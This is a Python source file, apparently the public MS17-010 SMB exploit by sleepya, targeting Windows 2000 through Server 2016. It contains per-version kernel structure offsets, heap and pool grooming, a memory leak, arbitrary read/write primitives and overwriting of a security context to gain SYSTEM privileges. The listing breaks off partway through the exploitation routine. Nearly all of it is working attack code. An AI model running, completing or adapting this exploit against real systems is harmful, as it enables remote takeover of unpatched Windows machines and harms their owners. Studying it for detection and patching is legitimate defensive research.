#!/usr/bin/python
from mysmb import MYSMB, RemoteShell, SMBServer
from struct import pack, unpack, unpack_from
import sys
import socket
import time
import string
import random
import argparse
import logging

'''
MS17-010 exploit for Windows 2000 and later by sleepya

Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86

A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Note: method name is from NSA eternalromance

For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.

For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.


Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    PACCESS_TOKEN Token;  // 0x08
    DWORD xx2;
    BOOLEAN CopyOnOpen; // 0x14
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x18
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    QWORD xx2;
    QWORD xx3;
    PACCESS_TOKEN Token;  // 0x18
    DWORD xx4;
    BOOLEAN CopyOnOpen; // 0x24
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x28
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x30
}

SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
  ImpersonateSecurityContext() is used in these Windows versions.
'''
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET': 0xa0,
    'SESSION_ISNULL_OFFSET': 0xba,
    'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x28,
}

WIN7_32_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET': 0x80,
    'SESSION_ISNULL_OFFSET': 0x96,
    'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x1c,
}

# win8+ info
WIN8_64_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET': 0xb0,
    'SESSION_ISNULL_OFFSET': 0xca,
    'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x38,
}

WIN8_32_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET': 0x88,
    'SESSION_ISNULL_OFFSET': 0x9e,
    'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x24,
}

# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET': 0xba,
    'SESSION_SECCTX_OFFSET': 0xa0,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
    'SECCTX_PCTXTHANDLE_OFFSET': 0x10,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
    'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
    'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

WIN2K3_32_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET': 0x96,
    'SESSION_SECCTX_OFFSET': 0x80,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
    'SECCTX_PCTXTHANDLE_OFFSET': 0xc,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
    'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
    'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}

# win xp
WINXP_32_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET': 0x94,
    'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
    'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
    'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
    'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
    'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
}

WIN2K_32_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET': 0x94,
    'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
    'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
    'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}

###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
    'TRANS_SIZE' : 0xa0,  # struct size
    'TRANS_FLINK_OFFSET' : 0x18,
    'TRANS_INPARAM_OFFSET' : 0x40,
    'TRANS_OUTPARAM_OFFSET' : 0x44,
    'TRANS_INDATA_OFFSET' : 0x48,
    'TRANS_OUTDATA_OFFSET' : 0x4c,
    'TRANS_PARAMCNT_OFFSET' : 0x58,
    'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
    'TRANS_FUNCTION_OFFSET' : 0x72,
    'TRANS_MID_OFFSET' : 0x80,
}

WIN7_64_TRANS_INFO = {
    'TRANS_SIZE' : 0xf8,  # struct size
    'TRANS_FLINK_OFFSET' : 0x28,
    'TRANS_INPARAM_OFFSET' : 0x70,
    'TRANS_OUTPARAM_OFFSET' : 0x78,
    'TRANS_INDATA_OFFSET' : 0x80,
    'TRANS_OUTDATA_OFFSET' : 0x88,
    'TRANS_PARAMCNT_OFFSET' : 0x98,
    'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
    'TRANS_FUNCTION_OFFSET' : 0xb2,
    'TRANS_MID_OFFSET' : 0xc0,
}

WIN5_32_TRANS_INFO = {
    'TRANS_SIZE' : 0x98,  # struct size
    'TRANS_FLINK_OFFSET' : 0x18,
    'TRANS_INPARAM_OFFSET' : 0x3c,
    'TRANS_OUTPARAM_OFFSET' : 0x40,
    'TRANS_INDATA_OFFSET' : 0x44,
    'TRANS_OUTDATA_OFFSET' : 0x48,
    'TRANS_PARAMCNT_OFFSET' : 0x54,
    'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
    'TRANS_FUNCTION_OFFSET' : 0x6e,
    'TRANS_PID_OFFSET' : 0x78,
    'TRANS_MID_OFFSET' : 0x7c,
}

WIN5_64_TRANS_INFO = {
    'TRANS_SIZE' : 0xe0,  # struct size
    'TRANS_FLINK_OFFSET' : 0x28,
    'TRANS_INPARAM_OFFSET' : 0x68,
    'TRANS_OUTPARAM_OFFSET' : 0x70,
    'TRANS_INDATA_OFFSET' : 0x78,
    'TRANS_OUTDATA_OFFSET' : 0x80,
    'TRANS_PARAMCNT_OFFSET' : 0x90,
    'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
    'TRANS_FUNCTION_OFFSET' : 0xaa,
    'TRANS_PID_OFFSET' : 0xb4,
    'TRANS_MID_OFFSET' : 0xb8,
}

X86_INFO = {
    'ARCH' : 'x86',
    'PTR_SIZE' : 4,
    'PTR_FMT' : 'I',
    'FRAG_TAG_OFFSET' : 12,
    'POOL_ALIGN' : 8,
    'SRV_BUFHDR_SIZE' : 8,
}

X64_INFO = {
    'ARCH' : 'x64',
    'PTR_SIZE' : 8,
    'PTR_FMT' : 'Q',
    'FRAG_TAG_OFFSET' : 0x14,
    'POOL_ALIGN' : 0x10,
    'SRV_BUFHDR_SIZE' : 0x10,
}

def merge_dicts(*dict_args):
    result = {}
    for dictionary in dict_args:
        result.update(dictionary)
    return result

OS_ARCH_INFO = {
    # for Windows Vista, 2008, 7 and 2008 R2
    'WIN7': {
        'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
        'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
    },
    # for Windows 8 and later
    'WIN8': {
        'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
        'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
    },
    'WINXP': {
        'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
        'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
    },
    'WIN2K3': {
        'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
        'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
    },
    'WIN2K': {
        'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
    },
}


TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8  # heap chunk header size


def calc_alloc_size(size, align_size):
    return (size + align_size - 1) & ~(align_size-1)

def wait_for_request_processed(conn):
    #time.sleep(0.05)
    # send echo is faster than sleep(0.05) when connection is very good
    conn.send_echo('a')

special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
    global extra_last_mid, special_mid
    special_mid = (conn.next_mid() & 0xff00) - 0x100
    extra_last_mid = special_mid

def next_extra_mid():
    global extra_last_mid
    extra_last_mid += 1
    return extra_last_mid


# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010

def leak_frag_size(conn, tid, fid):
    # this method can be used on Windows Vista/2008 and later
    # leak "Frag" pool size and determine target architecture
    info = {}

    # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
    # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
    # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
    # From the leak info, we can determine the target architecture too.
    mid = conn.next_mid()
    req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
    req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes

    conn.send_raw(req1[:-8])
    conn.send_raw(req1[-8:]+req2)
    leakData = conn.recv_transaction_data(mid, 0x10d0+276)
    leakData = leakData[0x10d4:]  # skip parameters and its own input
    # Detect target architecture and calculate frag pool size
    if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
        print('[*] Target is 32 bit')
        info['arch'] = 'x86'
        info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
    elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
        print('[*] Target is 64 bit')
        info['arch'] = 'x64'
        info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
    else:
        print('Not found Frag pool tag in leak data')
        sys.exit()

    print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
    return info


def read_data(conn, info, read_addr, read_size):
    fmt = info['PTR_FMT']
    # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
    # modify trans2.*ParameterCount and trans2.*DataCount to limit data
    new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
    new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
    new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
    new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
    new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])

    # create one more transaction before leaking data
    # - next transaction can be used for arbitrary read/write after the current trans2 is done
    # - next transaction address is from TransactionListEntry.Flink value
    conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)

    # finish the trans2 to leak
    conn.send_nt_trans_secondary(mid=info['trans2_mid'])
    read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)

    # set new trans2 address
    info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']

    # set trans1.InData to &trans2
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)

    # modify trans2 mid
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
    wait_for_request_processed(conn)

    return read_data[8:]  # no need to return parameter

def write_data(conn, info, write_addr, write_data):
    # trans2.InData
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)

    # write data
    conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
    wait_for_request_processed(conn)


def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
    trans_param = pack('<HH', fid, 0)  # param for NT_RENAME
    # fill large pagedpool holes (maybe no need)
    for i in range(numFill):
        conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)

    mid_ntrename = conn.next_mid()
    # first GROOM, for leaking next BRIDE transaction
    req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
    req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
    # second GROOM, for controlling next BRIDE transaction
    req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
    # many BRIDEs, expect two of them are allocated at splitted pool from GROOM
    reqs = []
    for i in range(12):
        mid = next_extra_mid()
        reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))

    conn.send_raw(req1[:-8])
    conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))

    # expected transactions alignment ("Frag" pool is not shown)
    #
    #    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #
    # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
    # From leaked transaction, we get
    # - leaked transaction address from InParameter or InData
    # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
    # With these information, we can verify the transaction aligment from displacement.

    leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
    leakData = leakData[0x10d4:]  # skip parameters and its own input
    #open('leak.dat', 'wb').write(leakData)

    if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
        print('Not found Frag pool tag in leak data')
        return None

    # ================================
    # verify leak data
    # ================================
    leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
    # check pool tag and size value in buffer header
    expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
    leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
    if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
        print('No transaction struct in leak data')
        return None

    leakTrans = leakData[leakTransOffset:]

    ptrf = info['PTR_FMT']
    _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
    inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
    leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

    print('CONNECTION: 0x{:x}'.format(connection_addr))
    print('SESSION: 0x{:x}'.format(session_addr))
    print('FLINK: 0x{:x}'.format(flink_value))
    print('InParam: 0x{:x}'.format(inparam_value))
    print('MID: 0x{:x}'.format(leak_mid))

    next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
    if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
        print('[-] unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
        return None
    # trans1: leak transaction
    # trans2: next transaction
    return {
        'connection': connection_addr,
        'session': session_addr,
        'next_page_addr': next_page_addr,
        'trans1_mid': leak_mid,
        'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
        'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
    }

def exploit_matched_pairs(conn, pipe_name, info):
    # for Windows 7/2008 R2 and later

    tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
    conn.set_default_tid(tid)
    # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
    fid = conn.nt_create_andx(tid, pipe_name)

    info.update(leak_frag_size(conn, tid, fid))
    # add os and arch specific exploit info
    info.update(OS_ARCH_INFO[info['os']][info['arch']])

    # groom: srv buffer header
    info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
    print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
    # groom paramters and data is alignment by 8 because it is NT_TRANS
    info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']  # alignment (4)

    # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
    bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
    info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
    print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
    # bride paramters and data is alignment by 4 because it is TRANS
    info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']

    # ================================
    # try align pagedpool and leak info until satisfy
    # ================================
    leakInfo = None
    # max attempt: 10
    for i in range(10):
        reset_extra_mid(conn)
        leakInfo = align_transaction_and_leak(conn, tid, fid, info)
        if leakInfo is not None:
            break
        print('[-] leak failleak failed... try again')
        conn.close(tid, fid)
        conn.disconnect_tree(tid)

        tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
        conn.set_default_tid(tid)
        fid = conn.nt_create_andx(tid, pipe_name)

    if leakInfo is None:
        return False

    info['fid'] = fid
    info.update(leakInfo)

    # ================================
    # shift transGroom.Indata ptr with SmbWriteAndX
    # ================================
    shift_indata_byte = 0x200
    conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)

    # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
    #       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
    # maxParameterCount (0x1000), trans name (4), param (4)
    indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
    indata_next_trans_displacement = info['trans2_addr'] - indata_value
    conn.send_nt_trans_secondary(mid=fid, data=b'\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
    wait_for_request_processed(conn)

    # if the overwritten is correct, a modified transaction mid should be special_mid now.
    # a new transaction with special_mid should be error.
    recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
    if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
        print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
        print('!!! Write to wrong place !!!')
        print('the target might be crashed')
        return False

    print('[+] success controlling groom transaction')

    # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
    # but this method make the transation never get freed
    # I will avoid memory leak

    # ================================
    # modify trans1 struct to be used for arbitrary read/write
    # ================================
    print('[*] modify trans1 struct for arbitrary read/write')
    fmt = info['PTR_FMT']
    # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
    conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)

    # modify
    # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
    # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
    conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
    wait_for_request_processed(conn)

    # modify trans2.mid
    info['trans2_mid'] = conn.next_mid()
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
    return True

def exploit_fish_barrel(conn, pipe_name, info):
    # for Windows Vista/2008 and earlier

    tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
    conn.set_default_tid(tid)
    # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
    fid = conn.nt_create_andx(tid, pipe_name)
    info['fid'] = fid

    if info['os'] == 'WIN7' and 'arch' not in info:
        # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
        info.update(leak_frag_size(conn, tid, fid))

    if 'arch' in info:
        # add os and arch specific exploit info
        info.update(OS_ARCH_INFO[info['os']][info['arch']])
        attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
    else:
        # do not know target architecture
        # this case is only for Windows 2003
        # try offset of 64 bit then 32 bit because no target architecture
        attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]

    # ================================
    # groom packets
    # ================================
    # sum of transaction name, parameters and data length is 0x1000
    # paramterCount = 0x100-TRANS_NAME_LEN
    print('Groom packets')
    trans_param = pack('<HH', info['fid'], 0)
    for i in range(12):
        mid = info['fid'] if i == 8 else next_extra_mid()
        conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)

    # expected transactions alignment
    #
    #    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
    #    |  mid=mid1 |  mid=mid2 |             |  mid=mid8 |  mid=fid  |  mid=mid9 | mid=mid10 | mid=mid11 |
    #    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
    #                                                         trans1       trans2

    # ================================
    # shift transaction Indata ptr with SmbWriteAndX
    # ================================
    shift_indata_byte = 0x200
    conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)

    # ================================
    # Dangerous operation: attempt to control one transaction
    # ================================
    # Note: POOL_ALIGN value is same as heap alignment value
    success = False
    for tinfo in attempt_list:
        print('attempt controlling next transaction on ' + tinfo['ARCH'])
        HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
        NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE

        # Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
        conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
        wait_for_request_processed(conn)




        # if the overwritten is correct, a modified transaction mid should be special_mid now.
        # a new transaction with special_mid should be error.
        recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
        if recvPkt.getNTStatus() == 0x10002:  # invalid SMB
            print('success controlling one transaction')
            success = True
            if 'arch' not in info:
                print('Target is '+tinfo['ARCH'])
                info['arch'] = tinfo['ARCH']
                info.update(OS_ARCH_INFO[info['os']][info['arch']])
            break
        if recvPkt.getNTStatus() != 0:
            print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))

    if not success:
        print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
        print('!!! Write to wrong place !!!')
        print('the target might be crashed')
        return False


    # NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
    # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
    #   because of this unfreed memory chunk. I will avoid it.

    # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
    # transactions (do not know the address).
    # After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
    # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
    # To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
    # On 32 bit target, we can write to any address if parameter count is 0xffffffff.
    # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
    #   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
    #   we also modify HIDWORD of InParameter to 0xffffffff.

    print('modify parameter count to 0xffffffff to be able to write backward')
    conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
    # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
    if info['arch'] == 'x64':
        conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
    wait_for_request_processed(conn)

    TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
    PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
    PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT

    # modify paramterCount of first transaction
    conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
    if info['arch'] == 'x64':
        conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
        # restore trans2.InParameters pointer before leaking next transaction
        conn.send_trans_secondary(mid=info['fid'], data=b'\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
    wait_for_request_processed(conn)

    # ================================
    # leak transaction
    # ================================
    print('leak next transaction')
    # modify TRANSACTION member to leak info
    # function=5 (NT_TRANS_RENAME)
    conn.send_trans_secondary(mid=info['fid'], data=b'\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
    # parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
